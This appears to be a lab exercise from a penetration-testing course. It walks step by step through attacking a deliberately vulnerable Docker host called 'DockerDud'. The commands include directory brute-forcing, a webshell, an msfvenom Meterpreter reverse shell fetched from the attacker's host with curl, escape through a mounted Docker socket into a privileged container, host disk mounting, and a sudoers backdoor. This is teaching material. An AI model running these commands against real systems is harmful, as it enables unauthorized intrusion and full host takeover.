Exercise: Docker Attack (using DockerDud)

Steps

1. Let's check for a port 80 web page.

   http://dockerdud

2. Let's fire up `dirbuster` to look for more interesting content.

   `dirbuster`

3. In the `dirbuster` window, fill out the target URL with http://dockerdud

4. To complete the "File with list of dirs/files" box, choose the "Browse" box to its right, then navigate that window to `/usr/share/dirbuster/wordlists/` and choose `directory-list-lowercase-2.3-small.txt`.

5. Make sure that "Be recursive." is checked.

6. Click the "Use Blank Extension" checkbox.

7. Now click the "Start" button in the lower right corner of the `dirbuster` window.

8. Now click the "Results-List View" tab to see the results update in real time.

9. Stop the scan when it finds "garbage." The amount of time this takes depends on the number of requests per second you see. In one test, at 422 requests per second, this took 7 minutes. If you'd like, let this run but skip to the next step, stipulating that you found "garbage" in the results.

10. We found a simple CGI script that runs commands, clearly placed at the insistence of the Hackers movie villain, "The Plague". Check it out by surfing to:

    http://dockerdud/cgi-bin/garbage

11. In the "Command" window, enter `id` and hit the `Enter` key. You'll see what user this backdoor is running as.

12. Now, let's get a Meterpreter binary running via this backdoor. Start up a terminal and create a fresh Meterpreter binary:

```
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.23.58.30 LPORT=4444 -e x86/shikata_ga_nai -o mrsbin -f elf
```

13. Now stage a web server in that terminal, hosting the `mrsbin` binary:

    ```
    python3 -m http.server 80
    ```

14. Next, start up a new terminal by hitting `Ctrl-shift-T`.

15. Let's start up Metasploit to receive the Meterpreter connection. Start a Metasploit console session:

    ```
    msfconsole
    ```

16. In the Metasploit console, run these commands to start a listener that's specific to this Meterpreter binary:

    ```
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 10.23.58.30
    exploit -j
    ```

17. Now, switch back to your browser, where we'll be replacing our id command with one that will download, chmod and run the mrsbin Meterpreter binary.

18. Copy and paste this text into the "Command" form item, then click "Submit".

    ```
    curl -O http://10.23.58.30/mrsbin; chmod 755 mrsbin; ./mrsbin
    ```

19. Notice that the page seems to keep loading forever. That's a good thing – it means that the garbage webshell hasn't finished executing `mrsbin`. If it ever does, we'll likely need to restart `mrsbin` through the webshell,.

20. Switch back to the terminal window to see that your Metasploit console shows a "Meterpreter session N opened" where N is a number, usually 1. Press `Enter`.

21. Interact with the meterpreter by typing `sessions -i N`, where N is that session number from the previous step. If `N = 1`, type:

    ```
    sessions -i 1
    ```

22. Now get a shell by typing:

    ```
    shell
    ```

23. Run a `mount` command, so we can see if anything interesting is mounted:

    ```
    mount
    ```

24. Note that the first line of output suggests that we're in a Docker container - it says that the `/` filesystem is mounted in via an overlay filesystem. Overlay file systems are almost only used in containers.

Note: Overlay filesystems differ from normal filesystem mounting, in that they involve layers that are "union"-mounted. Files in the same directory from two different layers are visible. In normal mounting, one partition is mounted onto `/`, while the next partition is mounted onto a subdirectory like `/home`, blocking anything in the first partition's `/home` from view.

25. Find the line that starts like this - it indicates that someone has mounted the Docker socket into the container:

    ```
    tmpfs on /run/docker.sock type tmpfs
    ```

26. If we had a docker binary to run, we could interact with the Docker daemon on this machine. Let's check if we do:

    ```
    docker ps
    ```

27. Let's start up a privileged container, adding all Linux root capabilities to it. We'll want an image that's cached on this machine already, so we don't need to pull anything across the internet:

    ```
    docker images
    ```

28. OK - let's use the first container image: `dockersock`

29. Try (and fail) to create a privileged container, with all root capabilities, working from that image:

    ```
    docker run -it --privileged --cap-add ALL dockersock /bin/bash
    ```

30. You'll be told that you need a TTY. Let's get one, using a classic penetration tester trick:

    ```
    echo 'import pty; pty.spawn("/bin/bash")' >>shell.py
    python shell.py
    ```

31. Now let's try again to create the privileged container:

    ```
    docker run -it --privileged --cap-add ALL dockersock /bin/bash
    ```

32. Awesome! We've launched a new container and are now running commands in it.

33. Take a look at the `/dev` contents that privileged containers get access to:

    ```
    ls /dev
    ```

34. Let's take a look at the disk partitions on the host (`/dev/sda` on VMware, `/dev/vda` on KVM):

    ```
    fdisk -l /dev/vda
    ```

35. Note that this is a simple layout - there's a Linux (ext4) partition and a swap partition.

36. Mount the root partition (`/dev/sda1` on VMware, `/dev/vda1` on KVM) onto `/mnt` in this container:

```
mount /dev/vda1 /mnt
```

37. Take a look at `/etc/passwd` on the host:

    ```
    cat /mnt/etc/passwd
    ```

38. Note that there's a user account called `theplague`. We'll change their password in a moment. First, let's simulate being in the host filesystem by `chroot`-ing ourself into `/mnt`:

    ```
    chroot /mnt /bin/bash
    ```

39. Change `theplague`'s password to `theplague`, just to keep things simple:

    ```
    passwd theplague
    theplague
    theplague
    ```

40. Now add `theplague` to the sudoers file as a user who doesn't need to type a password:

    ```
    echo "theplague ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    ```

41. Let's exit the `chroot`'ed shell:

    ```
    exit
    ```

42. Now unmount `/mnt`:

    ```
    umount /mnt
    ```

43. Ok - let's use the access we have on the host. Open a new terminal window or tab on your Kali system and run:

    ```
    ssh theplague@dockerdud
    ```

44. Run `ls` and notice that there's a flag file waiting for you:

    ```
    ls
    ```

45. Start up another terminal window or tab and use `scp` to pull the flag file to your own system:

    ```
    scp theplague@dockerdud:FLAG.jpg ~/Desktop
    ```

46. Click the file manager icon - it looks like a folder.

47. Click the Desktop icon, then click the `FLAG.jpg` icon to view it. Leave this file manager running, please.

48. Go back to your `ssh` session and escalate to `root`:

    ```
    sudo su -
    ```

49. You're now in `root`'s home directory, as `root`. List the directory contents:

    ```
    ls
    ```

50. Let's move that `FLAG.gif` file into `theplague`'s home directory so we can pull it down with `scp`:

    ```
    mv FLAG.gif /home/theplague
    ```

51. Change the file's owner to `theplague`, so we can use `scp` to pull it down:

    ```
    chown theplague /home/theplague/FLAG.gif
    ```

52. Open another terminal window or just go to whichever one you used to `scp` the last flag. Transfer this flag to your Kali host:

    ```
    scp theplague@dockerdud:FLAG.gif ~/Desktop
    ```

53. Now switch back to the file manager and look at your final flag file: `FLAG.gif`

54. When you're done with this exercise, we'll discuss the defense.

55. Change your Slack status to `:thumbsup:`.

56. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```